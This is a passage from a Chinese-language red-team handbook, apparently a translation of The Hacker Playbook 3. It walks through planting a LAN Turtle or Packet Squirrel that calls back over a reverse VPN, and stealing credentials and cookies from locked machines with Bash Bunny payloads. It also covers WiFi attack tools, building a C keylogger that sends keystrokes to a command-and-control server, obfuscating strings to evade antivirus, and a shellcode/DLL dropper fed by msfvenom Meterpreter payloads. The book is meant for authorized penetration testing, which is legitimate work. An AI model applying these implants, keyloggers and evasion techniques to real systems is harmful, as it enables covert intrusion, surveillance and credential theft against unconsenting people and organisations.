/usr/local/openvpn_as/bin/ovpn-init

在设置过程中：

确保设置ADMIN UI为所有接口

通过内部数据库，设置使用本地身份验证为YES

更新OpenVPN密码。

passwd openvpn

设置IPTables，端口943仅允许来自您的网络。

下面设置OpenVPN AS服务器。

（1）访问https://[IP Address of VPS server]:943/admin/。

（2）使用用户账户“openvpn”和刚刚创建的密码登录。

（3）如果您使用的是AWS Lightsail。

转到Server Network Settings（服务器网络设置），确保主机名或IP地址是正确的公网地址，而不是私有网络地址。

保存并更新。

（4）验证身份验证是否设置为本地。

Authentication -> General -> Local -> Save Settings -> Update Server

（5）创建两个允许自动登录的用户（lanturtle和redteam）。

User Management -> User Permissions

对于每个用户有以下操作。

设置AllowAuto-login

确保为这两个用户设置密码

对于lanturtle账户，要允许通过VPN连接，我们需要启用一些权限，如图6.4所示。

图6.4

确保在User Pemissions（用户权限）中配置/启用以下选项

所有服务器端私有子网

所有其他VPN客户端

（6）下载OpenVPN配置文件，然后连接到下载配置文件。

https://[Your VPS]:943/?src=connect。

为每个用户（redteam和lanturtle）进行以下操作。

登录和下载个人资料—自己（自动登录个人资料）

另存为turtle.ovpn和redteam.ovpn

设置LAN Turtle和初始配置，如图6.5所示。

图6.5

（1）插入USB和以太网。

（2）使用Nmap扫描本地网络的22端口。

nmap x.x.x.x/24 -p 22 -T 5 --open。

（3）SSH与root @ [ip]密码为sh3llz。

（4）更新LAN Turtle。

（5）更改MAC地址非常重要。LAN Turtle使用相同的制造商MAC地址，因此需要修改MAC地址使其看起来像一个随机设备。

更改您的MAC地址。

（6）安装OpenVPN。

转到Modules→Select→Configure→Directory—Yes。

安装OpenVPN。

（7）设置OpenVPN配置文件。

返回Modules→openvpn→Configure→在turtle.opvn中粘贴所有内容并保存。

（8）确保LAN Turtle OpenVPN服务在启动时加载，这样我们只需删除它执行以下操作。

转到Modules→openvpn→Enable。

（9）最后，我们需要在LAN Turtle上修改防火墙规则。

退出Turtle菜单，编辑防火墙规则。

nano/ etc / config / firewall

配置zone'vpn'。

确保将option forward设置为ACCEPT

添加配置转发规则

（10）配置转发。

选项src　wan。

选项dest　lan。

（11）配置转发。

选项src 　　vpn。

选项dest　wan。

（12）配置转发。

选项src 　　wan。

选项dest　vpn。

（13）重新登录Turtle菜单→Modules→openvpn→start。

（14）在Turtle上启动OpenVPN客户端。确保它正常工作，返回到OpenVPN AS服务器并检查连接。

我们现在配置了LAN Turtle，这样LAN Turtle无论何时连接到网络，都将回连到VPN服务器，我们可以通过SSH工具登录到LAN Turtle。下面看一个例子。

从Kali攻击者主机访问VPN服务器。

openvpn --config ./redteam.ovpn。

我们需要获取VPN服务器所在网络的IP地址，以便通过红队VPN路由所有流量。

以SSH方式登录LAN Turtle

退出Turtle菜单，获取被攻击者网络的内部接口（ifconfig命令）的IP地址。根据IP地址和子网掩码，找到IP地址范围。在我们的示例中，Turtle所在的网络是10.100.100.0/24

最后，启用转发，如图6.6所示。

返回OpenVPN AS并编辑用户lanturtle参数

User Permissions→lanturtle→show

编辑VPN Gateway为“Yes”，添加内部地址范围（10.100.100.0/24）

保存并更新

以SSH方式登录到LAN Turtle上，使用命令reboot重新启动。

图6.6

现在，我们通过攻击者设备VPN，经过VPN LAN Turtle，将所有流量路由到被攻击者公司的网络。在图6.7中，我们登录到VPN服务器，扫描LAN Turtle的内部网络10.100.100.0/24。我们可以看到已成功配置从VPN网关、LAN Turtle到公司网络的路由。从攻击者Kali主机，我们可以开展全部的漏洞扫描、网络搜索和Masscan等攻击操作。

图6.7

就是这样！您现在拥有一个快速放置设备，可以让您与被攻击者网络保持完全连接。您需要采取一些措施确保成功概率更高。

设置一个每天重置设备的定时任务。隧道可能会中断，每次LAN Turtle重新启动时，都会重新启动新连接。

一些公司阻止某些端口外联。在这种情况下，我们使用443端口，在绝大多数环境中都允许外联。对于有些使用Web代理的公司，可能会阻止直接通过443端口外联的流量。您可能需要重新配置LAN Turtle，启动时自动尝试多个不同的端口或协议（TCP / UDP）。

如果要放置两个或更多设备，那么需确保VPN服务器和MAC地址不同。曾经有过这样的情况，每次我们的设备在任务中被发现都是由于IT管理员偶然地移动或者更换计算机引起的。

6.3　Packet Squirrel

Hak5的另一个与LAN Turtle具有相似功能的工具是Packet Squirrel，如图6.8所示。 Packet Squirrel使用USB micro供电，但Packet Squirrel不是单端USB以太网适配器，而是两端都是以太网电缆。这是捕获流量或创建VPN连接的另一种方法。

图6.8

与LAN Turtle配置类似，Packet Squirrel配置如下。

设置/root/payloads/switch3/payload.sh。

FOR_CLIENTS = 1

设置/etc/config/firewall。

与LAN Turtle防火墙规则修改一致

上传LANTurtle.ovpn文件到/root/payloads/switch3/config.ovpn目录。

您现在有另一台设备，一旦设备连接到网络，将有一个反向VPN连接回公司。

此外，您的确应该拥有一个Packet Squirrel设备，因为针对Packet Squirrel已经有大量好的研究成果。您使用SWORD可以轻松地将Packet Squirrel转换为一个OpenWRT的渗透测试放置设备。

6.4　Bash Bunny

在本书之前的版本中，我们讨论了Rubber Ducky以及介绍它如何模拟HID设备（如键盘）来存储命令。作为红队，Rubber Ducky是一个很好的工具，因为它可以用于社会工程攻击实践，加速PowerShell命令的传递，可以突破没有键盘但有USB接口的自助服务终端系统。

Bash Bunny是Rubber Ducky的高级版本。它不仅可以执行HID类型的攻击，而且还可以做更多的事情。Bash Bunny有两个独立的空间来存储两个攻击（以及一个额外的管理设置）。这些静荷可以用来窃取凭证、网络钓鱼、Ducky攻击、运行PowerShell命令、执行扫描和侦察，以及执行Metasploit autopwn等。

在本书之前的版本中，我们介绍了使用KonBoot绕过您不知道密码的主机。KonBoot适用于没有加密主机，主机从USB设备启动，覆盖本地管理员密码。虽然主机需要完全重启，但这会使您登录这台没有凭证的主机。您可能还没有用过KonBoot，我们在模拟攻击行动中一直使用它，并取得了巨大成功。

您不想使用KonBoot可能有两个原因：这种攻击方式不适用于加密计算机；您可能不想重新启动被攻击者的主机。如何从锁定的主机获取信息，来访问网络上的其他主机或获得散列/密码？这就是Bash Bunny发挥作用的地方。

我们将使用Bash Bunny运行两种不同的攻击静荷。如果我们有物理访问权限，那么这两个静荷将从锁定（或解锁）系统获取信息。下面我们将演示BunnyTap和QuickCreds的使用。

6.4.1　突破进入CSK公司

经过数小时，您终于进入了CSK公司，之后您有几小时的时间，可以用于模拟黑客攻击。您接触第一台主机，插入KonBoot并重新启动系统，但是发现这些系统已经加密。然后，转到下一台处于锁定屏幕保护状态的主机。您插入Bash Bunny两次，分别运行BunnyTap和QuickCreds程序。几分钟后，QuickCreds中的Responder程序搜集到NetNTLMv2散列值。我们使用hashcat工具破解散列值，几分钟内获得用户的密码！在我们无法获取或破解散列值的机器上，BunnyTap运行PosionTap，捕获热门网站的Cookie，并配置为内部应用程序。我们导入这些Cookie，将便携式计算机连接到他们的网络，替换敏感网站的应用程序Cookie，无须知道网站密码，即可获取这些网站的访问权限。

在Kali上设置Bash Bunny。

下载最新的固件。

将Bash Bunny设置在Switch 3上（Arminy Mode）——布防模式（最靠近USB端口）。

将固件放在USB加载的根目录，拔下插头，重新插入，等待约10min，直到它闪烁蓝光。

完成所有操作后，返回Bash Bunny，编辑以下文件。

payloads> switch1> payload.txt

\# System default payload

LED B SLOW

ATTACKMODE ECM_ETHERNET STORAGE

拔下您的设备。

在Kali设备上设置互联网共享。

wget bashbunny.com/bb.sh

chmod + x bb.sh

./bb.sh

引导模式（选择所有默认值）

将Bash Bunny设置在Switch 1上（离USB最远）。完成后，需确保Bash Bunny已连接，在那里您应该看到Cloud←→Laptop←→Bunny镜像。

在您的Kali机器上，使用密码hak5bunny通过SSH连接到Bash Bunny，如图6.9所示。

图6.9

下面介绍如何登录Bash Bunny。

在您的Kali机器上，使用密码hak5bunny通过SSH连接到Bash Bunny。

ssh root@172.16.64.1。

在Bash Bunny中更新并安装一些工具。

apt-get update

apt-get upgrade

export GIT_SSL_NO_VERIFY=1

git clone https://github.com/lgandx/Responder.git/tools/responder

git clone https://github.com/CoreSecurity/impacket.git/tools/impacket

cd /tools/impacket && python ./setup.py install

apt-get -y install dsniff

在Kali机器的另一个终端中，安装所需的所有模块。

git clone https://github.com/hak5/bashbunny-payloads.git/opt/bashbunny-payloads

您可以选择任何类型的静荷，但在示例中，我们将设置Bash Bunny两个静荷：BunnyTap和QuickCreds。

cp -R/opt/bashbunny-payloads/payloads/library/credentials/BunnyTap/*/media/ root/BashBunny/payloads/switch1/

cp -R/opt/bashbunny-payloads/payloads/library/credentials/QuickCreds/*/media/ root/ BashBunny/payloads/switch2/

注意，在每个Switch1和Switch2文件夹中都有一个名为payload.txt的文件。在每个文件中，您需要将其配置为攻击Windows或macOS主机。对于Windows主机，需确保将ATTACKMODE设置为RNDIS_ETHERNET；对于macOS，需将其配置为ECM_ETHERNET。

6.4.2　QuickCreds

QuickCreds是一个可以推荐的工具，它利用Responder，从锁定和未锁定的主机捕获NTLMv2挑战散列值。假设您在做一次物理安全评估，进入公司并遇到许多锁屏的主机时，您插入Bash Bunny，选择QuickCreds，每台机器等待时间约2min。Bash Bunny将接管网络适配器，使用Response路由共享和身份验证请求，然后记录该数据。它将所有凭证保存到USB磁盘的loot文件夹中，如图6.10所示。

图6.10

6.4.3　BunnyTap

BunnyTap基于Samy Kamkar的PoisonTap工具。即使是在锁定的机器上，PoisonTap也可以执行以下操作。

通过USB（或Thunderbolt）模拟以太网设备。

劫持设备的所有互联网流量（低优先级/未知网络接口）。

从网络浏览器提取和存储Alexa前1,000,000个网站的HTTP Cookie和会话。

将内部路由器暴露给攻击者，使其可以通过WebSocket和DNS重新绑定进行远程访问（感谢Matt Austin提供重新绑定的想法）。

在HTTP缓存中为数十万个域和常见的JavaScript CDN URL安装基于Web的持久后门程序，所有这些都可以通过缓存中毒访问用户的Cookie。

允许攻击者在任何后门域上远程强制用户发出HTTP请求并回送响应（GET与POST）以及Cookie。

不需要解锁机器。

即使在设备被移除并且攻击者离开后，后门和远程访问仍然存在。

从物理安全评估的角度来看，您进入他们的办公室，将BunnyTap插入每台机器，然后等待大约2min。Bash Bunny将接管所有流量数据。如果主机浏览器已经打开并且处于活跃状态（如广告或任何定期更新的页面），那么BunnyTap将启动并请求所有Alexa排名前1,000,000的网站。如果被攻击用户当时登录任何这些站点，那么BunnyTap将捕获被攻击者的所有Cookie。现在，我们可以将这些Cookie导入我们的主机，用他们的Cookie替换我们的Cookie，在不知道他们的密码的情况下登录，如图6.11所示。

图6.11

6.5　WiFi

在WiFi方面，攻击客户端方法没有大的变化。我们看到WEP网络明显减少，攻击方式仍然是deauth、aireplay-ng和捕获IV数据包。对于WPA无线网络，这里推荐的选择仍然是断开客户端连接，捕获握手数据包，将其传递给hashcat，破解密码。这两种方法都很好用，我喜欢使用的版本是Wifite2版本，它是基于Alfa AWUS036NHA无线网卡完全重写的。Wifite2界面简单易用，支持多种攻击，比Aircrack支持类型还多，并且可以轻松破解捕获的散列值，如图6.12所示。

图6.12

在设备方面，除Alfas两个设备外，使用WiFi Pineapple Nanos网卡可以很方便地实现更隐蔽的WiFi攻击。如果您需要启动假的HostAP、通过另一个天线路由流量、搭建伪造页面、捕获身份验证信息、执行中间人攻击、运行Responder以及其他攻击，Nano是一个完成以上操作的轻量级硬件工具，如图6.13所示。

图6.13

如果没有订购Pineapple，那么还有一些工具可以开展类似的攻击，其中一个工具是EAPHammer。EAPHammer的功能如下。

从WPA-EAP和WPA2-EAP网络窃取RADIUS凭证。

执行恶意门户攻击以窃取AD凭证，实现间接无线迁移。

执行门户攻击。

内置Responder工具。

支持开放网络和WPA-EAP / WPA2-EAP。

大多数攻击都不需要手动配置。

安装和设置过程无须手动配置。

利用最新版本的hostapd（2.6）。

支持evil twin和karma攻击。

生成定时PowerShell静荷用于间接无线迁移。

集成HTTP服务器用于Hostile Portal攻击。

支持SSID隐藏。

EAPHammer的优势是可以使用自定义攻击功能，执行Responder攻击，捕获NTLM挑战身份验证散列，用于暴力破解和间接迁移。

6.6　结论

物理攻击看起来是一件有趣的事情。在许多行动中，我们可能会花几天的时间来了解公司，观察警卫轮换，并弄清楚他们有什么类型的门。我们可能会尝试远距离拍摄证件照片，记录人们离开公司的时间，并找出可以让我们进入公司的薄弱环节。

从红队的角度来看，我们要关注的不仅是物理安全方面的弱点，而且要关注人员的安全意识。

如果触发警报，相关人员需要多长时间才能调查清楚？

摄像头是否全天候监控？如果是，那么在出现可疑的情况时，需要多长时间才能发现？

员工是否留意尾随进门的情况？

如果被阻止尾随，那么您能够解释从而脱身吗？

如果您打扮成类似于设施工作人员（或任何第三方服务）的人，那么您会被如何处理？

最后一点，在开始之前，需确保您有明确的范围、一份免于牢狱之灾的授权书、CISO/物理安全负责人的电话号码，并确保与公司密切配合。您准备得越充分，您就越不可能被警卫，但是谁也不能保证……

第7章　四分卫突破——规避杀毒软件检测

7.1　为红队行动编写代码

能够成功地将红队和渗透测试人员区分的一个特征是能否适应和了解不同的安全防护机制。分析底层汇编语言，编写shellcode，创建自定义命令和控制二进制文件，修改代码空间隐藏恶意软件，这些都是日常工作的一部分。我经常遇到不会编码的渗透测试人员，虽然编码不是必需的，但是确实会影响他们进一步的专业发展。因此，我想为没有真正使用过底层语言开发代码的读者，专门写一章内容，帮助他们开始编写代码。

7.2　构建键盘记录器

键盘记录器是任何渗透测试人员/红队必备的工具，本节将指导您制作一个通用键盘记录器。有时我们只想持续监控某个用户或获取凭证。这可能是因为无法获得任何类型的横向渗透/权限提升，或者我们可能只想监视用户，为后续的行动做准备。在这样的情况下，我们喜欢在被攻击者系统上放置并运行键盘记录器，并将他们的键击记录发送出去。以下的例子只是一个原型系统，本实验的目的是让您了解原理和构建方法。使用C语言的原因是生成的二进制文件相对较小，并且由于是底层语言，可以更好地访问操作系统，并且可以规避杀毒软件检测。在本书第2版中，我们使用Python语言编写了键盘记录器，并使用py2exe编译成二进制文件，但是生成的文件容易被检测到。下面让我们来看一个稍微复杂的例子。

7.2.1　设置您的环境

下面是使用C语言编写和编译，生成Windows二进制文件，并创建自定义键盘记录器所需的基本设置。

虚拟机中的Windows 10。

安装Visual Studio，使用命令行编译器，使用Vim代码编辑。

到目前为止，Windows API编程的推荐资源是微软公司的MSDN网站。MSDN是一个非常宝贵的资源网站，详细说明了系统调用、类型和结构定义，并包含了许多示例。虽然这个项目并不一定需要这些资源，但通过阅读微软公司出版的Windows Internals一书，可以更深入地了解Windows操作系统。对于C语言，则可以参考《C语言设计语言》一书，作者是Kernighan和Ritchie。另外，也可以阅读Beej的《网络编程指南》（有印刷版和在线版），这是C语言网络编程的一本很好的入门读物。

7.2.2　从源代码开始编译

在下面这些实验中，将会有多个代码示例。本实验室将使用微软公司的Optimizing Compiler工具编译代码，该编译器随Visual Studio Community一起提供，并内置在Visual Studio Developer命令提示符中。在安装Visual Studio Community工具后，需确保安装通用Windows平台开发环境和工具，配置工具和C++桌面开发环境。如果编译示例，那么需打开开发人员命令提示符，然后导航到包含源文件的文件夹。最后，运行命令“cl sourcefile.c io.c”。这将生成一个与源文件同名的可执行文件。

编译器默认编译32位应用程序，但此代码也可以编译成64位应用程序。要编译成64位应用程序，需运行位于Visual Studio文件夹中的批处理脚本。在命令提示符中，导航到“C:\Program Files(x86)\Microsoft Visual Studio\2017\Community\VC\Auxiliary\Build”，需要注意此路径可能会有所不同，具体取决于您的Visual Studio版本。然后，运行命令“vcvarsall.bat x86_amd64”，这将设置微软编译器编译64位可执行文件而不是32位可执行文件。现在，您可以通过运行“cl path/to/code.c”编译代码。

7.2.3　示例框架

该项目的目标是创建一个使用C语言和底层Windows功能来监视击键的键盘记录器。该键盘记录器使用SetWindowsHookEx和LowLevelKeyboardProc函数。SetWindowsHookEx允许在本地和全局上下文中设置各种类型的钩子。在这种情况下，WH_KEYBOARD_LL参数用于获取底层键盘事件。SetWindowsHookEx的函数原型如下所示。

HHOOK WINAPI SetWindowsHookEx(
  _In_ int    idHook,
  _In_ HOOKPROC lpfn,
  _In_ HINSTANCE hMod,
  _In_ DWORD   dwThreadId
);

SetWindowsHookEx函数采用整数表示钩子ID、指向函数的指针、句柄模块和线程ID，前两个值很重要。钩子ID是安装的钩子类型的整数标识。Windows功能页面上列出可用ID。在我们的例子中，使用ID 13或WH_KEYBOARD_LL。HOOKPROC是一个指向回调函数的指针，每次挂了钩子的进程接收数据都会调用该函数。这意味着每次按下一个键，都会调用HOOKPROC。这个函数用于将键值写入文件。hMod是DLL的句柄，包含lpfn指向的函数。此值将设置为NULL，因为函数与SetWindowsHookEx在同一进程中使用。dwThreadId设置为0，将与桌面应用程序的所有线程回调相关联。最后，该函数返回一个整数，该整数将用于验证钩子是否设置正确，如果设置不正确则退出。

第二部分是回调函数。回调函数实现程序大量的功能。此函数接收处理按键信息，将其转换为ASCII字母以及所有文件操作。LowLevelKeyboardProc的原型如下所示。

LRESULT CALLBACK LowLevelKeyboardProc(
  _In_ int  nCode,
  _In_ WPARAM wParam,
  _In_ LPARAM lParam
);

让我们回顾一下LowLevelKeyboardProc参数的内容。该函数的第一个参数是一个整数，告诉Windows如何解释该消息。其中两个参数是，①wParam，消息的标识符；②lParam，它指向KBDLLHOOKSTRUCT结构的指针。wParam的值需在函数参数中指定。参数lParam指向KBDLLHOOKSTRUCT成员。lParam KBDLLHOOKSTRUCT的值是vkCode或虚拟键盘码。这是按下键的代码，而不是实际的字母，因为字母可能会根据键盘语言的不同而有所不同。vkCode需要随后转换为相应的字母。现在，不需要担心参数传递给键盘回调函数，因为钩子激活后，操作系统自动传递参数。

在查看框架代码时，需要注意的事项是，在回调函数中，包含pragma注释行、消息循环和返回CallNextHookEx行。pragma注释行是用于链接User32 DLL的编译器指令。此DLL包含程序所需的大多数函数调用，因此需要进行链接。它也可以与编译器选项相关联。接下来，如果需要使用LowLevelKeyboardProc函数，则必须使用消息循环。MSDN声明：“此钩子在安装它的线程的上下文中调用。通过向安装了钩子的线程发送消息来进行调用。因此，安装钩子的线程必须有一个消息循环。”

返回CallNextHookEx是因为MSDN的声明：“调用CallNextHookEx函数链接到下一个挂钩过程是可选的，但是强烈推荐使用；否则，已安装挂钩的其他应用程序将不会收到挂钩通知，因此可能会出现错误行为。您应该调用CallNextHookEx，除非您需要阻止其他应用程序看到通知。”

接下来，我们继续构建回调函数，从文件句柄开始。在示例代码中，它在Windows Temp目录（C:\Windows\Temp）创建名为“log.txt”的文件。该文件配置了append参数，因为键盘记录器需要不断地将按键记录输出到文件。如果temp中不存在该文件，则将创建一个文件。

回到KBDLLHOOKSTRUCT，代码声明了一个KBDLLHOOKSTRUCT指针，然后将其分配给lParam。这将允许访问每个按键的lParam内的参数。然后代码检查wParam是否返回“WM_KEYDOWN”，即检查按键是否被按下。这样做是因为钩子会在按下和释放按键时触发。如果代码没有检查WM_KEYDOWN事件，那么程序将每次写入两次按键操作。

发现按键操作后，需要一个switch语句，检查lParam的vkCode（虚拟键码），获取按键值。某些键需要以其他方式写入文件，例如return、control、Shift、Space和Tab键。对于默认情况，代码需要将按键的虚拟键码转换为实际的字母。执行此转换的简单方法是使用ToAscii函数。ToAscii输入参数vkCode、一个ScanCode、一个指向键盘状态数组指针、指向接收字母缓冲区的指针，以及uFlags的整数值。vkCode和ScanCode来自键结构，键盘状态是先前声明的字节数组，用于保存输出的缓冲区，uFlags参数设置为0。

必须检查是否释放了某些键，例如Shift键。这可以通过编写另一个“if语句”来检查“WM_KEYUP”，然后使用“switch语句”来检查所需的按键。最后，需要关闭该文件并返回CallNextHookEx。

此时，键盘记录器完全正常工作。但是，有两个问题。一个问题是运行程序会产生一个命令提示符，这表明程序正在运行，并且缺少输出的内容，容易让人产生怀疑。另一个问题是运行键盘记录器获得文件仅放在本地计算机上，意义不是很大。

命令提示问题的修复相对容易，具体做法是修改标准C“Main”函数入口点为Windows特定的WinMain函数入口。根据我的理解，这样做很有效的原因是WinMain是Windows上图形程序的入口点。虽然操作系统预期是创建程序窗口，但我们可以告诉操作系统不创建任何窗口，因为有这个控件。现在，该程序只是在后台生成一个进程，不创建任何窗口。

该程序网络方面的问题可以更加直接地进行解决。首先通过声明WSAData，启动Winsock，清除提示结构以及填充相关参数，初始化Windows套接字函数。举个例子，代码将AF_UNSPEC用于IPv4，SOC_STREAM用于TCP连接，使用getaddrinfo函数填充命令和控制数据结构。在填写所有必需的参数后，可以创建套接字。最后，使用socket_connect函数创建套接字。

连接之后，socket_sendfile函数将执行大部分操作。它使用Windows“CreateFile”函数打开日志文件的句柄，然后使用“GetFileSizeEx”函数获取文件大小。一旦获取了文件大小，代码将分配一个文件大小的缓冲区，加上一个用于填充的缓冲区，然后将文件读入该缓冲区。最后，我们通过套接字发送缓冲区的内容。

对于服务器端，在命令和控制服务器上启动socat监听3490端口（启动socat命令：socat - TCP4-LISTEN:3490,fork）。一旦监听器启动并且键盘记录器正常运行，您就会看到被攻击者主机的所有命令，并且每10 min被推送到命令和控制服务器。在编译version_1.c之前，确保将getaddrinfo修改为当前的命令和控制服务器的IP地址。编译代码：cl version_1.c io.c。

需要介绍的最后一个函数是thread_func函数。thread_func调用函数get_time，获取当前时间。然后检查该值是否可被5整除，因为该工具每5min发送一次文件。如果它可以被5整除，那么它会设置套接字并尝试连接命令和控制服务器。如果连接成功，那么它将发送文件并运行清理功能。然后，循环休眠59 s。需要休眠功能的原因是这一切都在一个稳定的循环中运行，这意味着该函数将在几秒钟内运行，建立连接，连接和发送文件。如果没有59s的休眠时间，那么该函数最终可能会在1 min的间隔内发送文件数10次。休眠函数允许循环等待足够长的时间，切换到下一分钟，因此仅每5 min发送一次文件。

7.2.4　混淆

有数百种不同的方法来执行混淆。虽然本章不能全部涉及，但我想为您介绍一些基本的技巧和思路来规避杀毒软件。

您可能已经知道，杀毒软件会查找特定的字符串。规避杀毒软件的一种简单方法是创建一个简单的转盘密码，移动字符串的字符。在下面的代码中，有一个基本的解密函数，可以将所有字符串移动6个字符（ROT6）。这会导致杀毒软件可能无法检测到乱码。在程序开始时，代码将调用解密函数，获取字符串数组，返回到常规格式。解密函数如下所示。

int decrypt(const char* string, char result[]){
    int key = 6;
    int len = strlen(string);

    for(int n = 0; n < len; n++){
        int symbol = string[n];
        int e_symbol = symbol - key;
        result[n] = e_symbol;
    }
    result[len] = '\0';

    return 0;
}

另一种规避杀毒软件的方法是使用函数指针调用User32.dll中的函数，而不是直接调用函数。为此，首先编写函数定义，然后使用Windows GetProcAddress函数找到要调用的函数的地址，最后，将函数定义指针指定给从GetProcAddress接收的地址。可以在CitHub找到如何使用函数指针调用SetWindowsHookEx函数的示例。

该程序的第3个版本将前一个示例中的字符串加密与使用指针调用函数的方法相结合。有趣的是，如果您将已编译的二进制文件提交到VirusTotal，那么看不到User32.dll。在图7.1中，左侧图像显示的是版本1，右侧图像显示的是带有指针调用的版本3。

图7.1

为了查看您是否已成功规避杀毒软件，最好的选择是始终在实际运行的杀毒软件系统中进行测试。在实际的行动中，我不建议使用VirusTotal，因为您的样本可能会被发送给不同的安全厂商。但是VirusTotal网站非常适合测试/学习。

实验

您的最终目标是什么？想法是无限的！一点点修复可能是对log.txt内容进行混淆/加密，或者在程序启动后，启动加密套接字，然后将按键内容写入套接字。在接收方，服务器将重建流，写入文件。这将阻止日志数据以纯文本形式显示，就像当前一样，并且可以防止之前的内容写入硬盘。

另一个非常明显的改进是将可执行文件转换为DLL，然后将DLL注入正在运行的进程，使得进程不会显示在任务管理器中。有一些程序可以显示系统上所有当前加载的DLL，因此注入DLL会更加隐蔽。此外，有些程序可以反射性地从内存加载DLL而根本不写入磁盘，从而进一步降低了被取证的风险。

7.3　黑客秘笈定制的放置工具

放置工具是红队工具包的重要组成部分，允许您在被攻击者计算机上植入程序。不在磁盘上放置植入程序是为了降低被发现的风险，并且可以使用多次。在本节中，我们将介绍一个黑客秘笈定制的放置工具，它可以植入shellcode或者是仅驻留在内存中的动态库。

在设计放置工具和相应的服务器时，您需要记住一些事项。放置工具是工具箱中阅后即焚（use-and-burn）的一个工具，这意味着您当前可以正常使用，但是在后续的行动中很可能被检测发现。

为了使后续行动更容易，您需要开发一个标准服务器，可以重复使用。在这个例子中，您将看到一个基本的网络实现框架，它允许为不同的消息注册新的处理程序。这个例子仅包含LOAD_BLOB消息类型的处理程序，您可以轻松添加新的处理程序，从而扩展功能。这就可以提供良好的基础，因为您的所有通信都实现了标准化。

编写放置工具程序或者快速找到目标并进行逆向工程，一个重要的步骤是过滤字符串。当您第一次构建软件时，调试消息非常有用，可以让您不必手动单步调试，查看出现问题的原因。但是，如果调试信息在最终版本中被意外地保留下来，那么软件分析人员将很容易逆向利用您的恶意软件。很多时候，杀毒软件将对独特的字符串或常量值进行签名。举个例子，我使用InfoLog()和ErrorLog()函数，预处理器将在发布版本中编译这些宏。使用这些宏，检查是否定义了_DEBUG，并指示是否包含相关的调用。

7.3.1　shellcode与DLL

在下面的例子中，您可以让放置工具加载完整的DLL或者shellcode。通常有许多公开的植入工具，您可以生成一个完整的DLL，实现DLL下载并且执行。放置工具直接加载DLL，可以使您省略加载更多的API调用，从而保持隐蔽。由于头部信息被修改，因此某些植入工具可能无法正确加载。如果您的一个植入工具不能正常工作，但是包含生成shellcode的方法，那么这应该可以解决您的问题。这是因为定制的加载器，通常可以修复头部信息，并从该DLL加载头部信息。

网络中还有大量的shellcode，如shell-storm这样的网站，保存大量的shellcode，其中一些可能会在您后续的行动中派上用场。

7.3.2　运行服务器

构建服务器其实比较简单。在定制的黑客秘笈 kali镜像中，您需要运行以下命令。

第一次编译。

cd /opt/。

sudo apt-get install build-essential libssl-dev cmake git。

git clone https://github.com/cheetz/thpDropper.git。

cd thpDropper/thpd。

mkdir build。

cd build。

cmake ..。

make。

对于后续编译，您需要进行的步骤如下。

cd /opt/thpd/build。

make。

运行服务器，在编译完成后，您需输入如下内容。

./thpd [path to shellcode/DLL] [loadtype]

表7.1为值所对应的当前适用的加载类型。

表7.1

0

shellcode

发送原始shellcode字节到客户端

1

DLL

发送正常DLL文件，客户端反射注入DLL

虽然静荷（shellcode/DLL）可以来自任何类型的命令和控制工具（Metasploit/Meterpreter、Cobalt Strike等），但我们将在示例中使用Meterpreter静荷。生成静荷的步骤如下。

shellcode静荷。

msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT= <PORT> EnableStageEncoding=True -f c

注意，您必须获取msfvenom输出，并得到原始shellcode（删除引号、换行以及任何不是shellcode的内容）。

启动服务器：./thpd ./shellcode.txt 0

DLL静荷。

msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT= <PORT> EnableStageEncoding=True -f dll > msf.dll

启动服务器：./thpd ./msf.dll 1

7.3.3　客户端

客户端与服务器的运行方式是相似的，其中客户端为每种消息类型注册处理程序。在启动时，客户端尝试回连服务器，如果无法连接或连接断开了，则重试n次，并发送消息要求加载模块。服务器使用BLOB_PACKET进行响应，客户端通过head->msg字段识别并分发该数据包。所有数据包必须在开始时定义HEAD_PACKET字段，否则网络处理程序将无法识别，从而丢弃数据包。使用BuildPacketAndSend()函数正确设置数据包头部，从而允许另一方解码数据包。

要构建客户端，您需要Visual Studio和Git工具。首先将Git存储库（https://github.com/cheetz/ thpDropper.git）复制到一个文件夹中，然后在Visual Studio中打开thpDropper.sln。确保放置设备的代码设置了正确的体系结构，如果您不需要任何调试消息，那么可设置为发布版本。完成此操作后，按F7键，Visual Studio将为用户生成可执行文件。

7.3.4　配置客户端和服务器

大多数客户端的配置都可以在globals.cpp文件中找到，您需要更改的3个主要配置是主机名、端口和数据包持续时间。每个配置选项旁边都有注释，说明配置项的内容。您不需要更改数据包签名，如果更改数据包签名，那么发送的每个数据包的前两个字节将被修改，用于标识这是服务器上的有效连接。如果您希望对IP地址和端口进行模糊处理，则可以编写代码，在访问IP地址和端口时，对数据进行解密，在二进制文件中仅存储加密版本。

在服务器端的main.cpp文件中，您可以修改服务器监听的端口。此配置是main函数中StartupNetworking()的唯一参数。如果您修改客户端中的数据包签名，则需要修改服务器对应该数据包。这意味着在include/lib/networking.h文件中，PACKET_SIGNATURE值需要与客户端中的全局值匹配。

7.3.5　添加新的处理程序

网络代码库允许您轻松添加新功能。为此，您需要使用客户端的void name()原型函数或服务器上的void name(int conn)原型函数创建一个回调函数。对于各种消息类型，注册一系列的处理程序，在验证数据包头部时，这些处理程序将被调用。在这些函数中，您需要实现从recv缓冲区中读取数据包和数据。您需要调用recv()指针，处理数据包结构和大小。这将获取recv缓冲区相关信息。在这个例子中，您将看到我们在处理程序中读取BLOB_PACKET，存储在packet.payloadLen中的值，表明读取的字节数。同样的方法适用于获取其他数据类型。如果将包含文件路径的字符串发送到被攻击者计算机上的某个文件，数据包中包含一个字段用于描述字符串的长度，该字段随数据包一同发送。

7.3.6　进一步的练习

上面的代码提供开发的基础，您可以通过多种方式自行改进。在传输层上添加加密层非常简单和方便。您可能希望创建自己的send和recv管理器，在调用send和recv函数之前解密/加密。一种非常简单的方法是使用多字节XOR密钥，虽然不是很安全，但是由于改变了您的消息内容，所以不容易被识别。另一个练习可能是扩展LoadBlobHandler()函数，添加新的LOAD_TYPE，如果客户端以管理员身份运行，则会加载已签名的驱动程序。这可以通过使用CreateService()和StartService()windows api调用实现。但是需要记住，加载驱动程序需要文件存储在磁盘上，这将触发文件系统-过滤器驱动程序，捕获该操作。

7.4　重新编译Metasploit/Meterpreter规避杀毒软件和网

